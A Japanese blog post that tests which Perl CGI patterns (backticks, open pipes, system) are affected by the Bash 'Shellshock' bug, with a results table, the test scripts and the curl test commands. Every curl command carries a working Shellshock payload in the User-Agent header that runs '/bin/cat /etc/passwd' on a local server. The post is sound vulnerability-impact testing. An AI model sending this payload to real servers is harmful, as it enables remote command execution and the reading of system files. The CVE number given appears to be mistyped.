日記+コメント付きブックマーク+他人にも役に立つかもしれない情報など。
(更新情報: RSS(ツッコミ付き) / RSS(ツッコミ抜き) / LIRS)
最近のツッコミ:
- p (01/03)
- Thiramil (10/26)
- 久々にいまむらを食べたい通りすがり (09/28)
- Fluxadir (05/16)
- Antiprestin (11/08)
最近の TrackBack:
2014/09/29 編集
_ [セキュリティ] Perl CGI 中での Bash "Shellshock" 脆弱性 (CVE-2014-6721) 影響有無を確認した
BASHの脆弱性でCGIスクリプトにアレさせてみましたを元に、もう少し突っ込んで各種 CGI スクリプトが影響を受けるかどうかのテストを行った。
試験環境
CentOS 6.5
Perl 5.10.1 (perl-5.10.1-136.el6.i686)
結果
sh スクリプト
× (当然)
perl スクリプト (外部コマンド実行なし)
○
perl スクリプト (外部コマンド実行あり)
引数 | なし | あり (引用符なし) | あり (引用符あり) |
---|---|---|---|
バッククォート | ○ | ○ | × |
open によるパイプ入力 | ○ | ○ | × |
open によるパイプ出力 | ○ | ○ | × |
system 関数 | ○ | ○ | × |
引数ありで、それを引用符で囲っている場合のみ影響を受けることが確認できた。
なお、
- system LIST
- system PROGRAM LIST
- (略) スカラの引数が一つだけの場合、引数はシェルのメタ文字をチェックされ、もし あればパースのために引数全体がシステムコマンドシェル (これは Unix プラットフォームでは
/bin/sh -c
ですが、他のプラットフォームでは 異なります)に渡されます。 シェルのメタ文字がなかった場合、引数は単語に分解されて直接execvp
に 渡されます; この方がより効率的です。
[Perlの組み込み関数 system の翻訳より引用]
によると、引用符があるかどうかではなく、メタ文字があるかどうかが生死を分けるポイントとのこと。
使用したコード
- sstest-sh.cgi
#!/bin/sh echo "Content-type: text/plain" echo echo "foo"
- sstest-perl.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; print "foo\n";
- sstest-perl-backquote-arg0.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; print `/bin/pwd`;
- sstest-perl-backquote-arg1.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; print `/bin/echo foo`;
- sstest-perl-backquote-arg1-quote.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; print `/bin/echo "foo"`;
- sstest-perl-open-pipein0.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '/bin/pwd |'; print <FH>; close FH;
- sstest-perl-open-pipein1.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '/bin/echo foo |'; print <FH>; close FH;
- sstest-perl-open-pipein1-quote.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '/bin/echo "foo" |'; print <FH>; close FH;
- sstest-perl-open-pipeout0.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '| /bin/cat'; close FH; print "done.\n";
- sstest-perl-open-pipeout1.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '| /bin/echo foo'; close FH; print "done.\n";
- sstest-perl-open-pipeout1-quote.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; open FH, '| /bin/echo "foo"'; close FH; print "done.\n";
- sstest-perl-system-arg0.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; system '/bin/pwd';
- sstest-perl-system-arg1.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; system '/bin/echo foo';
- sstest-perl-system-arg1-quote.cgi
#!/usr/bin/perl print "Content-type: text/plain\n\n"; system '/bin/echo "foo"';
テスト実行コマンド
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-sh.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg0.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg1.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg1-quote.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein0.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein1.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein1-quote.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout0.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout1.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout1-quote.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg0.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg1.cgi curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg1-quote.cgi